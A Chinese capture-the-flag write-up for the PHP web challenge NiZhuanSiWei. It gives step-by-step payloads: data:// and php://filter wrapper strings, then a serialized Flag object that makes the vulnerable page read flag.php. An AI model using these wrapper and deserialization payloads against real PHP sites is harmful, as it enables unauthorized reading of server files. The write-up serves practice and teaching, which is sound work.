首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

作者头像
熔城Sec
发布2026-07-29 14:09:20
发布2026-07-29 14:09:20
130
举报

01

题目简介

  • 题目名称:[ZJCTF 2019]NiZhuanSiWei
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动并访问靶机

阅读代码,发现需要传入三个参数,分别是,text、file、password。根据下面的代码,我们需要将$text等于welcome to the zjctf

代码语言:javascript
复制
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

使用php伪协议构造传参payload

代码语言:javascript
复制
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后我们看到代码中,file的传参是需要读取useless.php,同样我们使用php伪协议读取即可

代码语言:javascript
复制
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64加密的文本

解密出来是一串代码

代码语言:javascript
复制
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这里发现调用了flag,这里把file的值赋值为flag.php,然后再在最开始的代码中,通过序列化传入password,所以我们将password进行序列化操作。

代码语言:javascript
复制
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后构造最后的paylod

代码语言:javascript
复制
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看网页源代码

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-07-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 熔城Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档